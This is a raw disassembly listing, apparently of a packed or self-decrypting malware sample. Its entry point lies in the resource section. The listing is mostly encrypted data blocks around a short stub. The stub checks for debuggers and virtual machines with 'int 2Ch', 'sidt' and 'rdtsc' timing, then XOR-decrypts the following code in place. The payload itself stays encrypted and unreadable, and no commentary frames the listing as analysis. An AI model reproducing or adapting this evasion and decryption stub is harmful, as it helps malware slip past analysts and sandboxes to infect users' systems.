dd 248D8E54h, 0B4B81EBBh, 450359C9h, 0ECC5A3F0h, 5AED4A88h
dd 89DE7CD6h, 0E44E4AFh, 0E1760B60h, 0C17AB74Ch, 0B4CE63F8h
dd 25639D21h, 20FBD350h, 55EA46AFh, 6C7E13A8h, 0D5534DA9h
dd 396B6B00h, 0F229435h, 1D95C318h, 5E54FCD7h, 68451BF0h
dd 0DDFB39D9h, 0BF73EC08h, 1D8A5F8Dh, 0A136CB5Fh, 0D821C03Bh
dd 0F98EA347h, 8AD2A164h, 5441AA12h, 0BD5BD149h, 2C10D668h
dd 5CEA8BAAh, 197323Ch, 0BD885A6Ch, 0FE728218h, 909A2FC4h
dd 0C976D7AEh, 147DE564h, 3204B8C7h, 0F349DFB4h, 0E1FE05D0h
dd 267637C5h, 6578ACF8h, 36914F23h, 92A7F347h, 147DA61Dh
dd 0A5B7146Bh, 22AA0B98h, 0F93D3454h, 74C830ABh, 19AEDA4Bh
dd 9DDB5584h, 68148EB2h, 1DB2F259h, 0F3DDA988h, 0FD434h
dd 235D5B96h, 3E610113h, 9F7C7B89h, 0B2B9CE37h, 0D126E4E6h
dd 35522CA1h, 0A542524Fh, 6C6AFF94h, 41EF45CDh, 7A9A87ECh
dd 0DCE952BAh, 450359C1h, 8B4BDAF0h, 0E072C795h, 0CED9744h
dd 70F961B4h, 0C47EC193h, 0AD5B375Ah, 15F22447h, 18638A0h
dd 0BC4AB729h, 0BEEB523Ch, 9451120Fh, 16547389h, 179B03C7h
dd 6E942B03h, 0FA656C7Fh, 0C6B4E3D7h, 3EA4F137h, 1E149BC0h
dd 1107E6EFh, 76945343h, 0C9DFB8A7h, 0CED40BFBh, 0D6C9695Fh
dd 2634C3C5h, 2E016B17h, 34947B5Dh, 0E93745F5h, 66435A14h
dd 0A7B11A83h, 963699EBh, 69D12Bh, 1303183h, 0BF3B7398h
dd 0EA6AE64Fh, 95E1799h, 0AD7B578Eh, 3DB6ED1Eh, 0EB0039CBh
dd 81503DCFh, 3CAF098Ch, 9E4BED3h, 0BAE898F7h, 56AB2BF0h
dd 0AF2A7EE7h, 515D5E7Fh, 3E8799FCh, 73AE03B4h, 0ADF0166Bh
dd 7B86F558h, 8D9A1CDBh, 36AB0B99h, 76B25EC7h, 9DB64BE0h
dd 1E5F8B5Ah, 94D471D8h, 0BDBFBA2Eh, 5166FB90h, 0C05D89A3h
dd 55BAA05Dh, 52DDFF54h, 81D6DF51h, 0ADC257ECh, 0F91E0644h
dd 969FA6EAh, 34C69BBCh, 0E473079Ch, 891EC9C4h, 0C01FD7F4h
dd 7CDD63F4h, 0C69414D5h, 517E6338h, 622DBA4Ah, 91E6AF21h
dd 3ED267FCh, 12146021h, 0E01EBF14h, 4DA7F0CBh, 0ED82176Ch
dd 0B8E6C558h, 12CC6E60h, 8DE983ADh, 0BB89F5E3h, 27DE73B0h
dd 4589531Bh, 1EC96505h, 4DA24B3Dh, 0F18E23B8h, 0AD575CFCh
dd 0E0D83010h, 0BD663839h, 0A93ED368h, 1269F710h, 0FE2A2BB8h
dd 0A51F5A24h, 8B91E18h, 0C58E6041h, 0B146DE70h, 0CDF65B1Ch
dd 84058DA1h, 757375F1h, 7CC10620h, 815AC094h, 0A57F6823h
dd 65F98FE4h, 387A3BD0h, 0F4F64EF4h, 0EF7B0C52h, 80AAFFADh
dd 0A056EB08h, 0F68A0208h, 74AE43B2h, 1C84AC6Ch, 89260BB3h
dd 0D43DA31Fh, 7100BC67h, 0E06CB4C7h, 8E3DE651h, 0CD22CBBDh
dd 0BB0155E3h, 25BA4FE3h, 40CE0F1Dh, 0ED1D86EEh, 0D27EBEBh
dd 2D4C3EA7h, 1CB8C003h, 0F439C27Dh, 0C208880Fh, 0CDF1AF84h
dd 40A29369h, 1D461819h, 891EB748h, 8DD893F4h, 99104BB9h
dd 0CD1A0FF3h, 0A1756724h, 44118771h, 62ABF2A7h, 45D2A7E8h
dd 567E13A8h, 7CD73F1Ah, 41D6AB0Ch, 160A5898h, 9377DC60h
dd 5CE9AA1h, 0F46ADBB0h, 89096C62h, 0F9457348h, 72008905h
dd 0A176FF73h, 57A2C7B2h, 0B9C23E35h, 3D5C7964h, 0CE39A82Eh
dd 0FD523BADh, 0A93ED378h, 9E9A86A0h, 0CEEE9156h, 5DD9FDE0h
dd 191D1D30h, 8707B86Bh, 0C0461B39h, 9DC69899h, 99E13C8h
dd 5431474h, 7A7B85C8h, 0B7A2F7F8h, 0F9CF6B92h, 71EB146Fh
dd 11663B90h, 0C0E6E77Ch, 63E657A8h, 55DE2831h, 3ABD5180h
dd 0AD0B1DE1h, 9621DED8h, 0C51A2395h, 31069B30h, 6D025089h
dd 0F5477886h, 84A09F74h, 618A7C5Dh, 0CD62778Ch, 0E915F838h
dd 4F3F597Ch, 2B66BB5Ch, 0F5B4C4E3h, 0A6713B19h, 0D52AF365h
dd 8116AC40h, 565259D8h, 0C594A88Eh, 0E15AAF84h, 0B6B55EFh
dd 0FB72C788h, 0A9659DFh, 64F1684h, 0E176CBACh, 7A22B74Ah
dd 3396F7F6h, 256E3941h, 0ACD6150h, 0FD9B0971h, 57A5BA8h
dd 24C1BF54h, 1AA9C7Dh, 0ED821FACh, 481A9758h, 5CEA081h
dd 0F18A1BB0h, 0D299C5Ch, 64636DB0h, 5F8A5F80h, 1EC988B7h
dd 4DA24B3Dh, 0F98E1BB8h, 3D5CE031h, 0AEEC9B8Fh, 0FD523BA3h
dd 692D2E42h, 73FFAA7Ah, 0FB8E4448h, 0ED56C209h, 5C52C318h
dd 1171D4CAh, 0CA8DBB0h, 49C30C47h, 199E3308h, 0DACDF74h
dd 640ACBA1h, 179A7B4Ch, 7982FED5h, 6C517524h, 0DDD1C01Ah
dd 0ECA9E7BCh, 0A9F264A5h
dd 15AA3FD4h, 515F5FC0h, 968799FCh, 73AE03C4h, 0D14B744Fh
dd 51069B70h, 9B0247DCh, 0C562F5F5h, 0FFF4EEB9h, 618A647Dh
dd 57DF808Ch, 170EE321h, 2266CF8Bh, 0D1F6021Dh, 3D1DF6BCh
dd 5A43EA7Eh, 0D56ABF60h, 5F16AB80h, 9AD37DA4h, 0F7979796h
dd 8F225FEBh, 0F1DA366Dh, 0E012479Ch, 0F8A603DEh, 0F5FE5071h
dd 0E1F60BA0h, 3D204C4Ch, 1273DD72h, 437ACFB0h, 8E823BA7h
dd 3D226E29h, 29395228h, 66AFF6BAh, 41D6AB0Ch, 5A8218ACh
dd 93EE534Fh, 5CE9881h, 0E86D75B0h, 5DB15FF6h, 75C7D8FEh
dd 60EC1FF4h, 709CCCF0h, 0DF64889h, 0FB8E23B8h, 7415C464h
dd 91FA6C8Dh, 0F99227BCh, 5954E868h, 406F8954h, 7B966BCCh
dd 0ED56A709h, 694EC418h, 863CE71Eh, 0CC464BC7h, 67321724h
dd 0C9920E45h, 323D4974h, 6136BF31h, 0D9A37CCh, 21B0D3A5h
dd 2F0F7A3h, 11662FA6h, 0BEA29296h, 0A16E8B7Fh, 0E1C0C4DAh
dd 10BCEBC0h, 0AD1668A9h, 29AE43D8h, 920FA084h, 0F49EC10Dh
dd 7175114h, 0A75EB3B4h, 0DFCA929Bh, 2A3CF8F9h, 4AB5F7CCh
dd 794EB729h, 259A4FE4h, 0E0F70A1Dh, 0F5B4A2E3h, 0C6C43BE1h
dd 0D52AF37Ah, 7B158F00h, 6DD64189h, 0B215E998h, 450339D9h
dd 0AB87D5F0h, 1D3B91F9h, 39855948h, 1E4F612Ch, 7B76CBACh
dd 0B9333C37h, 39CD6338h, 617510A4h, 9126BBCBh, 0C876CE74h
dd 1A0B8EC2h, 162A7F20h, 41D66BD1h, 0ED43AEAAh, 0C62DC358h
dd 217D2701h, 392DF92Bh, 9D32C75Ch, 4793CE62h, 120197CEh
dd 0FD8E663Ah, 0F8E40667h, 54F0E3A7h, 0B12B54AFh, 51E67BD0h
dd 0BD2728BCh, 0D52F58D3h, 55EA7FD4h, 1F2A23C0h, 11BF2F46h
dd 451F0843h, 59A2F04h, 1E51DD70h, 7B93915Dh, 0F6E7B75Fh
dd 91F2057Ch, 3C5D711Ch, 0B79A87DBh, 21B0E10Fh, 0E2F86CDCh
dd 11662FA7h, 0C0699296h, 58644CD8h, 55DE3051h, 0C156EB80h
dd 1D22ABACh, 0F2335DD3h, 65A2F90h, 0EA13A5D0h, 1FB26BE4h
dd 8952CC25h, 78EE5F34h, 0BCBA8F60h, 0ABF8983Ch, 73EE72A0h
dd 65AE7881h, 600DA190h, 3DE6B8B9h, 29BE33E8h, 6439B394h
dd 41EADCBDh, 2DC257ECh, 887BD778h, 851AB2FFh, 81CB8FF0h
dd 9009B12Ch, 0FEA5FABFh, 350A5872h, 22FF4CB7h, 97CA0740h
dd 0F9027C75h, 622DB9A4h, 91E6AF21h, 3D9267FCh, 91A00F94h
dd 12200204h, 41969F19h, 0A5E42113h, 0F634237Bh, 459AA32Dh
dd 6E5976CAh, 9D72DB4Dh, 4ADE7307h, 727D52C0h, 0A176FF71h
dd 6DE2770Ch, 388120E4h, 0A53ACF63h, 0C176809Ch, 88A11222h
dd 33C34E9Bh, 40EA3FEDh, 455EA478h, 2A15A09Bh, 59AE9709h
dd 51A2FC4h, 2ED3D97Dh, 5D329B05h, 895E2B3Eh, 0CDB9E20Dh
dd 9DC38F95h, 4EA227E8h, 34FEDB18h, 0C3FCF2CBh, 2FE62C18h
dd 449A4DE3h, 6976ABA8h, 0B6A83FD4h, 5C0E86DAh, 6B5760A9h
dd 0D9DFCB72h, 8CA9ADEh, 358B1886h, 0CCB207C8h, 8952C405h
dd 750A9F34h, 50B840D0h, 380A0FB3h, 515D1E41h, 0D591C70Bh
dd 9A047807h, 0A13A77Ch, 29FE1C66h, 11E1F895h, 69FAF5Ch
dd 2D0247D1h, 0C2F0900Fh, 2F1AF84h, 3106446Eh, 0C9438CC7h
dd 89DEB388h, 373E5FF4h, 0A3DD53EBh, 5CD4B748h, 2278F077h
dd 0EC7A0F64h, 912704CCh, 3DCF4FFCh, 26C513A8h, 0D9EF8D02h
dd 0FDC09D0Fh, 0E4826370h, 0D9633BE5h, 0DB5FF804h, 0A4865B79h
dd 0A0FE7FE3h, 618D82D0h, 1DBE623Bh, 68D141A4h, 8684EC93h
dd 0FCE523F8h, 22B3DB22h, 51A6644Eh, 868A69BBh, 0E93799E5h
dd 3DD90A14h, 116DE83h, 7A1AD76Ch, 0D469D242h, 0C583D559h
dd 0EA2E3170h, 0E87DE646h, 0C9979955h, 0BD806A74h, 7C02451Fh
dd 0AFBBA8Eh, 0BAAE5B6Bh, 0E1F58F24h, 11A63C76h, 0B6A87C7Bh
dd 16FD93E8h, 156A3862h, 0B87E1714h, 6D02F9A9h, 1570C0D8h
dd 0DE0874ABh, 6F059B70h, 0CB34AFACh, 6EDD026Bh, 754A988Eh
dd 2CBD40E0h, 505D03C7h, 790EA43Fh, 92A35B4Bh, 0D126E4EAh
dd 7E0F2C3Fh, 0A6BD53E8h, 0D52AF822h, 0C8EE2C9Ah, 21476609h
dd 546E0398h, 48F1B184h, 0EAAEABBCh, 0D6FD66C6h, 491719EDh
dd 514F6EF4h, 0E4760BA0h, 4D2B21C9h, 0EB5366F8h, 707ACFBDh
dd 85E99650h, 3D0FE9FFh, 287513A8h, 51A9CE5Ch, 0C4D66B00h
dd 2C8119ECh, 0CBB3C664h, 0F7DAAF1Dh, 371BCAE0h, 54328755h
dd 9D32B95h, 350F79B4h, 0A1895053h, 0E13B770Ch, 0DD8E23B8h
dd 11BFDEB7h, 0D1E67B10h, 7A8D1CAEh, 0A93ED3DFh, 40EB459Bh
dd 59465FFFh, 0A40D6CC4h, 42901001h, 0D44F2F04h, 7AEC606Fh
dd 0DAF187DCh, 95EFC36h, 8E0064FDh, 617D8BE0h, 46E0BC03h
dd 0B1BCE3B8h, 7EBC143Bh, 2A743B90h, 0BD52E771h, 41F1A518h
dd 15AA3FC7h, 3C7229F5h, 7000826Dh, 96E53396h, 0C51A284Ah
dd 0AD85973Dh, 0A483A6ECh, 0AA7AD7C4h, 0FCC9BADBh, 618FDD5Dh
dd 7AD9978Ch, 794EAC66h, 0FC6C454Ch, 0D10F9C93h, 2A92A73Ch
dd 1D012EDAh, 14910822h, 8594AA38h, 768DF65Fh, 7F1C888Bh
dd 9991AE17h, 269DCCCh, 94720778h, 0E4D9C22Bh, 1100E0C8h
dd 0C1760B80h, 18628A8Eh, 0B65187ECh, 0E5BA4846h, 6D3B24C5h
dd 0BAD167FCh, 0E9BEDC96h, 0DBCF24EEh, 3D53117h, 0F1C002B8h
dd 31A58992h, 45A8F0BFh, 0F18B1BB0h, 0DBABC75Ch, 8CB822ECh
dd 0CDC49439h, 6868CB20h, 0DF71399h, 2086A6B8h, 0A5A15367h
dd 0CE6F7B10h, 0FD52400Ah, 9090D33Eh, 951FF381h, 0F8D6B0C0h
dd 0AD423BE8h, 0A92E9E18h, 0B59999F4h, 0B1AEDC86h, 0ABB2871Ch
dd 367AA8ABh, 0CDC9DFB4h, 677A8A63h, 96A237C9h, 798719F5h
dd 9F771C24h, 86A6FB99h, 7D1B4909h, 0C34CC428h, 82150FD4h
dd 0C11620FCh, 74CD2FABh, 19B33F54h, 1C5A5984h, 311FF17Dh
dd 9D27A6DCh, 4C5EB3B5h, 0F1055ECCh, 21B64F2Dh, 6387C15h
dd 0B23DA378h, 550B92E3h, 26A9541h, 76C43CEFh, 0B67953A8h
dd 0D52AF434h, 0FD216BBDh, 2DC25B3Dh, 56F73C87h, 85DAE8A6h
dd 0C9F7AC21h, 0DD6D07AFh, 29B3C298h, 0B2CA9FC1h, 5BFA0AE0h
dd 1622B748h, 0F907B575h, 0AAE252A4h, 0C26BBE9h, 0BAE57F43h
dd 0E9BEE7D9h, 852ABF54h, 0BED5714Dh, 0EDC20791h, 5A2DF547h
dd 0A60D60CFh, 0BADCA029h, 987AC71Ch, 0C4DE7324h, 72891BFBh
dd 0A176DB35h, 8EE1A93Bh, 1A81F463h, 0BE6C54EDh, 48257BD0h
dd 36947227h, 0FCCBA8C7h, 989D8E0Ch, 0BAC62EACh, 0B05A9853h
dd 0A0240468h, 5E34980Fh, 3BC5E87Ch, 0FD008820h, 849AEE3Fh
dd 7749F3B2h, 993A0810h, 30CB4EBFh, 53D3EE39h, 28FA4F3Dh
dd 1CA0F47h, 3FCDA76Bh, 69FE93D0h, 0C0E5CA13h, 77B36877h
dd 6102D764h, 0D2DD724Fh, 97FB2B28h, 5C872Ah, 879273DAh
dd 1D129FACh, 0AA7E8D08h, 0F9CB4BE4h, 0CED9406Bh, 3666E81Dh
dd 3AB143E4h, 0D114BE3Fh, 0B4E12C3Fh, 2C45E24Bh, 1B23D669h
dd 9F9AAA7Fh, 628DF65Fh, 0F43C663h, 0DC213347h, 0E0E30A73h
dd 0E4401A5Bh, 0F059A3C4h, 0E81A5C87h, 5D81CA4Ch, 46DD649h
dd 0EB60EE7h, 0EC258EF6h, 1880E3CCh, 65007AAFh, 0E97E13B2h
dd 2C956E7Ch, 41D643C3h, 6EAF17ACh, 0D9593D6Dh, 48C75804h
dd 0F8EA1BB0h, 0CF87524Ah, 25DE3331h, 76EC013Dh, 986C8862h
dd 4DE15D89h, 0DDE89EB8h, 265C2D63h, 48AB4BD7h, 0FD911D39h
dd 0B77D6A68h, 55EA5F14h, 49FB0B3h, 0F014D76Ch, 8F7585DCh
dd 591E3EE4h, 0D446DB6Eh, 5E7B0820h, 9E33C9h, 0B5488DEEh
dd 27C3E320h, 8F9D56BFh, 0B94EE517h, 680A59ABh, 113E3786h
dd 8E52E87Ch, 50A43180h
dd 0FC3F2FE7h, 52562B8Ch, 9D97674Ch, 33AE03C4h, 7D93EDA4h
dd 9DEEAF38h, 9A3DA602h, 0BF2F256h, 0E23B41E3h, 21F67FF1h
dd 0CB3A1C73h, 420EA338h, 25BA55CCh, 1DCEC390h, 71D86E2h
dd 69B22C65h, 0BFEE8594h, 81D6DF59h, 59DBDC74h, 79CC0358h
dd 910B340Fh, 31CE5B30h, 0E687079Ch, 0B50500C8h, 0C1CB5F34h
dd 0F2FB82DDh, 90227778h, 0E5CF63F8h, 0EE78F9Bh, 8E267B1Ch
dd 0B252F728h, 0E9BEE7BEh, 15CD7351h, 1AA8685h, 83D61CACh
dd 855F4883h, 45DA6F44h, 0EADA9BB0h, 890B64DCh, 38DC7348h
dd 5B2FA23Dh, 0A1368B69h, 0C43606F4h, 1E4EFB5Bh, 0C2D24EB7h
dd 0CCE67B0Eh, 0BD5B7D51h, 8D186B68h, 0D1E5BE27h, 1962DB7h
dd 0E6902CF3h, 9F7583D8h, 6DE432D8h, 0B8218813h, 5E87091Fh
dd 0C31F33C8h, 0B54AFF50h, 93900680h, 19683A16h, 0E85E2D77h
dd 0A5EEC0A1h, 11A63BD0h, 424C3C8Ch, 0A9F25FD5h, 3A27CAD4h
dd 14562B70h, 748BCEC8h, 8EAE43D1h, 856AEF11h, 0C2AB4E30h
dd 0D0B0AADCh, 0FAE30A24h, 750ADF00h, 18A64BE0h, 0CD625F08h
dd 517D7238h, 0FC6B3E4Ch, 2FDB7693h, 0FA12E735h, 0BB425236h
dd 606AFF94h, 41EF1DCDh, 3DF8E2ECh, 0F992BD19h, 0B03AAF44h
dd 33155326h, 0F71508Bh, 5EAB7E54h, 0C0CA9FE4h, 2166E815h
dd 18D4494Ch, 964D87DCh, 0E5BA1F89h, 0A6C93E50h, 3DD267FCh
dd 0EA861D1Fh, 2429C71Ah, 0BE5D627Bh, 0EDC2F026h, 855F4883h
dd 459A6F44h, 0F3DA1BB0h, 0CF31BF87h, 0C2CE4CFCh, 0B5B38D01h
dd 0B9454660h, 0CA35470Dh, 0F9CE37A9h, 0A53ACF24h, 39397D9Ch
dd 31E60F0Dh, 849762CBh, 3DD98218h, 0B2A29DD7h, 4E66A36h
dd 3DA300E1h, 589A6FD0h, 0A8802ACCh, 0DC6FF90Dh, 99E3496h
dd 8165744Ah, 5F0B8BE0h, 0DB6A6935h, 89D6D564h, 1CB6F777h
dd 8C5C6AD3h, 8751F3C2h, 9A832A38h, 15AAFFA0h, 3646EB80h
dd 80579DEDh, 258C051h, 4259EFC4h, 7146AB45h, 1DCFEE5Bh
dd 0E45EF388h, 0C2F58773h, 21F674A2h, 0CD107E15h, 3799A338h
dd 363FC604h, 0D166BB5Ch, 2992A73Ch, 486685E3h, 0FD53EADh
dd 8A8028B7h, 30A157ACh, 5496BE11h, 291BF8Ah, 310644FAh
dd 106AD195h, 81E42C47h, 0B8DAA1F5h, 5C76D37Fh, 4D2B51C9h
dd 150ABBF8h, 277B0FA4h, 0D4278448h, 2447F14Ch, 0D87E53D4h
dd 0D55EB0D1h, 41D66B00h, 0F0842BBCh, 0D93EA0CDh, 94DA2504h
dd 0B19A0C2Dh, 9F32C75Ch, 0AFF20808h, 0C60FD66Eh, 0A1368B6Ch
dd 3AE27B0Ch, 0E9439DB2h, 743A8F70h, 91FA6C8Dh, 0FD5227BCh
dd 2345E868h, 0BF28810Fh, 50B401BEh, 0ACB8E0D3h, 5B94C506h
dd 18CD116Eh, 93CDFF1Eh, 0B5F016B8h, 32708047h, 0BC4ADFB4h
dd 288D039Ch, 0FF3756BFh, 0E04E2361h, 0A5EFD391h, 273B6AD0h
dd 0F4522775h, 0A9F35FB5h, 4F27CCD4h, 36562B89h, 0AD0BB9B9h
dd 337CF4D8h, 73CFEE84h, 7806DBF9h, 5D87DF69h, 97D30288h
dd 8C0ADF0Dh, 618B774Dh, 93F7848Ch, 0A00EE320h, 65A32171h
dd 3EC1D190h, 7DD2BCA8h, 5210B867h, 986AFF54h, 8116AB18h
dd 2E1894ECh, 0CC376019h, 0D5E2AF84h, 0B14B1CE3h, 5A72C7A9h
dd 0C19DF608h, 76C50F87h, 216B8B1Dh, 9D2FFA4Ch, 0E6CE7DF8h
dd 39FBF598h, 0A212B72Ch, 65725A29h, 0D039A2E4h, 0AB82C4E1h
dd 99F15AC7h, 0E44DB6FAh, 6EA9E1F9h, 37CEC55Ch, 0F18600F8h
dd 0FACAA75Ch, 361982EBh, 0D1CEAA8Dh, 0D78B4870h, 0D8E23744h
dd 7AF01B08h, 0F838D57Ah, 51CE51EDh, 889206BCh, 0FB3EEDA4h
dd 0ED7FBEC4h, 84966BCDh, 0E3C3DFA8h, 9D2992DCh, 43193211h
dd 0BC6D736Ch, 948AE64Fh, 0EAD942ABh, 0B5BE5733h, 0F29D8B20h
dd 0DA22684h, 0B95EBB78h, 85B88F24h, 11B6A3D0h, 0C06AE77Ch
dd 2BFE9328h, 41273FB0h, 0D7A3E79Ch, 0E1022FABh, 191623E1h
dd 505AEF84h, 16167F5Ch, 0C2334163h, 0C91EC797h, 8CEF98DCh
dd 1D742C23h, 0CE64FA8Ch, 3F11A836h, 85B99A08h, 1DA992CEh
dd 299997A6h, 78826EFh, 0B600079Dh, 950CA4A2h, 0DA9A7E1h
dd 0ADACAB4Bh, 3A14FFAEh, 0B5B4B3D7h, 997C3AB6h, 4613110Dh
dd 687A723h, 0C5C4C3BEh, 0C8C931C6h, 0CDDC8FDFh, 0D59452CFh
dd 37A4D899h, 0D8D7D8D6h, 0E2A3DAD9h, 0E2E041B2h, 0E4E3E2E1h
dd 0F9B0FCE5h, 0FA77ECEAh, 0F2F04FFAh, 0AF3FB7Bh, 0FAF807C2h
dd 5D041085h, 118900FEh, 514D3A3h, 92109207h, 0D6EE317h
dd 1226F70Fh, 0D9B51312h, 9E191773h, 852A90DAh, 22205AEEh
dd 35A83821h, 0EDAB2826h, 2DF6132Eh, 3D982F2Eh, 9D353382h
dd 3A38873Eh, 3D3CEC22h, 4904C23Eh, 0A54858CDh, 9ED14846h
dd 22h, 12C4h dup(0)
assume ds:_data
; =============== S U B R O U T I N E =======================================
public start
start proc near
cld
call loc_100F82E
start endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_100F806 proc near ; CODE XREF: .rsrc:0100F87Dp
push ebx
mov ecx, 0DA5h
mov ebx, edx
loc_100F80E: ; CODE XREF: sub_100F806+13j
xor [eax], dx
lea eax, [eax+2]
xchg dl, dh
lea edx, [ebx+edx]
loop loc_100F80E
pop ebx
retn
sub_100F806 endp
; ---------------------------------------------------------------------------
align 2
db 78h
; ---------------------------------------------------------------------------
loc_100F81F: ; CODE XREF: .rsrc:0100F868j
pop ebp
retn
; ---------------------------------------------------------------------------
loc_100F821: ; CODE XREF: .rsrc:0100F836j
; .rsrc:0100F847j
push ebp
mov eax, 8000h
xor ecx, ecx
jmp short loc_100F855
; =============== S U B R O U T I N E =======================================
sub_100F82B proc near ; CODE XREF: .rsrc:0100F84Ap
; .rsrc:0100F850p
rdtsc
retn
sub_100F82B endp
; ---------------------------------------------------------------------------
loc_100F82E: ; CODE XREF: start+1p
test eax, eax
jnz short loc_100F83A
int 2Ch ; Internal routine for MSDOS (IRET)
test eax, eax
jns short loc_100F821
jmp short loc_100F849
; ---------------------------------------------------------------------------
loc_100F83A: ; CODE XREF: .rsrc:0100F830j
push eax
sidt fword ptr [esp-2]
pop eax
mov eax, [eax+6]
shl eax, 10h
jns short loc_100F821
loc_100F849: ; CODE XREF: .rsrc:0100F838j
push ebp
call sub_100F82B
xchg eax, ecx
call sub_100F82B ; CODE XREF: .rsrc:0100F883j
loc_100F855: ; CODE XREF: .rsrc:0100F829j
sub eax, ecx
mov ebp, [esp+4]
sub dword ptr [esp+4], 0BDB6h
sub eax, 100h
jnb short loc_100F81F
sub ebp, 301006h
lea eax, [ebp+301082h]
mov dx, [eax-65h]
call sub_100F806
daa
js short near ptr loc_100F850+4
sbb ds:566908B5h, esi
repne xor [ecx], esi ; CODE XREF: .rsrc:0100F8A1j
cld
mov byte ptr [eax], 5Eh
test edi, edi
pop edi
fxch st(7)
ror byte ptr [ebp+ebx*4+6A10FE69h], 1
out dx, al
lodsw
jb short near ptr loc_100F88B+2
out 0E7h, al
jg short loc_100F8D4
push 5AF7A8E5h
aam 0A5h
retn
; ---------------------------------------------------------------------------
db 9Eh
dd 0B179B894h, 930B1D78h, 0DE87B7A7h, 0DC3D51FBh, 0ECE6B2B3h
dd 78D5B69Dh, 53D85DF2h, 9C141842h, 0DB6264E8h
; ---------------------------------------------------------------------------
loc_100F8D4: ; CODE XREF: .rsrc:0100F8A5j
pop edi
db 2Eh
inc ebp
call far ptr 692Eh:62B5E401h
lahf
sar byte ptr [esi], cl
adc cl, [edi+ebx*4-0Eh]
retf 5FF6h
; ---------------------------------------------------------------------------
dd 86CBFC8Eh, 33DBBE12h, 0CF795303h, 449A23CBh, 0FA9F1010h
dd 0A8553431h, 7C03ECDCh, 4AA9FAAh, 1E66F5DCh, 0E00443B6h
dd 2579A144h, 5D1B2F1h, 0CE4A5345h, 912B1F15h, 0EF7393C0h
dd 561C808Ch, 0E0FE4A79h, 825B8F8Ah, 0A41BDC13h, 0C01BE7E6h
dd 0FEFCC8A3h, 0DAEBA291h, 5C5263E9h, 6742B2Bh, 0E80C6517h
dd 512436B4h, 72C5C9ECh, 0A28A9BBDh, 0AB4F83B3h, 53E94D0Eh
dd 0CD80D3Dh, 0FA358BE4h, 0BCD61A96h, 67A7EBCEh, 7151ADE9h
dd 6C31554Fh, 2670428Dh, 0E7E5EEEEh, 9BEA028Eh, 0EA317977h
dd 0A076BDD6h, 79FE2E1Ch, 0AC53F04Ah, 16690174h, 0CD15D0FFh
dd 8CD10026h, 74A55DB3h, 165B8AAFh, 763A1CE2h, 5EF4180Bh
dd 60367283h, 297EB264h, 4D6B17Eh, 0DBC4387Ah, 0F04C907Fh
dd 1670404Dh, 0D5BE0A39h, 0AC1B4F2Dh, 7AF56B92h, 0D5A4E8FBh
dd 0D36D12DCh, 4E2E6263h, 0E731228h, 8C3CEBDAh, 0A7F42596h
dd 0ECACF473h, 0BC868AA8h, 46DB0368h, 44AAB042h, 20B80B65h
dd 4DF23047h, 484D122h, 0FE38F9C0h, 98CC689Ah, 48FC5623h
dd 0CBEC63DAh, 0E0356A00h, 0C7EF51ADh, 0E8BEC2D9h, 708617F3h
dd 0F7B0F873h, 501AC1C1h, 16D36C06h, 43174F4Ah, 95C90E7h
dd 0AC352BD4h, 14E52932h, 0DAE519Dh, 716FA3A0h, 60DBB7E7h
dd 0CEF8282Ch, 0E5D5B070h, 7E83DCE2h, 72C6FB92h, 599EC03Fh
dd 9550B4AFh, 4294C9C3h, 0AD3B9BF1h, 0CEF75362h, 0F9649897h
dd 55A8DE76h, 7AB4214Bh, 21380C6Fh, 135BC23Fh, 0AB4A04EFh
dd 810589B7h, 0FD457949h, 3788333Ah, 7BC9EB03h, 945A4847h
dd 515C1C8h, 6680442Eh, 3B6F1626h, 0D3174CE4h, 0A5E169ACh
dd 5D80C89Dh, 49662498h, 0E63A6CA9h, 7D60E31h, 7FC3F7C7h
dd 0B50A65B8h, 87C80A81h, 0C092F6EAh, 6580A7Bh, 0C82C7B76h
dd 26582815h, 0AD5AD9E9h, 11E51E1Eh, 0DB2F6158h, 0CE52D2Ch
dd 1547ECDCh, 2F78BE30h, 6F42465Eh, 3AC3D07h, 783400FFh
dd 0A6974B44h, 8955898Bh, 77B54C4Bh, 8AAEED13h, 0FBAED2D8h
dd 0A8E99CACh, 5A9CCB6Ch, 9EF1DAD9h, 0E2CAED65h, 0A5F0AFAFh
dd 6D8FDF71h, 0C3FB21DAh, 6DCCF27Fh, 0BD8EF2E8h, 0B0F89DB5h
dd 0C5E7B34Ch, 0D1DA9E91h, 0A7A1D5D7h, 93E61BFDh, 0F4D4E2D2h
dd 0D2FBA494h, 0BB42E883h, 25FD5DD1h, 0AB547193h, 5AD44EB4h
dd 0F8DF91FCh, 8A19D7F4h, 0FF4D3C86h, 401BCACBh, 7724F15Dh
dd 408B32ABh, 1265D49Dh, 0FCCFDDDEh, 30EA65AEh, 869F8355h
dd 0AE834E07h, 2BC9A25h, 0AF015562h, 0F42CB6F0h, 39E17B4Bh
dd 7DD0046Dh, 93552341h, 5754E4DCh, 6017472Ch, 13BB1728h
dd 81401C98h, 916DA1C1h, 0D4B18F32h, 0C9F240E7h, 0BA39056Fh
dd 79E8B4DEh, 18C4F899h, 48636C3Eh, 71DB7DD3h, 1E93F7E4h
dd 8A278954h, 0CA1C6CD5h, 0FD71B96h, 0EDA6EACBh, 98EB1735h
dd 78C38BEFh, 32754428h, 0E234EDDEh, 0ABCE2635h, 65CE9788h
dd 35B8A5EEh, 3858FE53h, 56127669h, 3578B9Ch, 23F4A083h
dd 0FEB06461h, 0BD4C2F31h, 400FF9F8h, 3EDB8E83h, 60A32766h
dd 0D413B5FEh, 0F4F838B0h, 3EC1C5DEh, 0D926506Eh, 6DDE8080h
dd 0B890F4E8h, 0BEA056C9h, 901824DBh, 618B18C4h, 414B85D6h
dd 0C7E81C1Ch, 0BB482505h, 6C22C1D0h, 0FDF9C83h, 0A79E484Ah
dd 31D58B25h, 0BA858993h, 209FAB39h, 44591412h, 307FFE12h
dd 555348CCh, 4449EF46h, 0A421657Eh, 0EC64F09Ah, 6886DB4Ah
dd 9DC79A24h, 0CAA36868h, 275244Ch, 0FE42A6A6h, 0B0321A66h
dd 50C48D4Fh, 3ABCEC2Ch, 81865106h, 0F33A1FDFh, 7C9B0A8Fh
dd 0B31C9588h, 6E0A6A1Dh, 0BC217929h, 0E444C8A2h, 509EAB72h
dd 0D037AE2Ch, 1CD4E3ACh, 1D81B5B1h, 43266833h, 94E7BB06h
dd 0D53A83B4h, 52740948h, 0D2890D0Eh, 9B4F0402h, 859CC4C7h
dd 5597F021h, 0EDB5E0A4h, 0FA459A6Ah, 0CEF325A2h, 80BADEC3h
dd 5300CE58h, 3CD1872Bh, 0DD898D96h, 520A839Ah, 0E8134747h
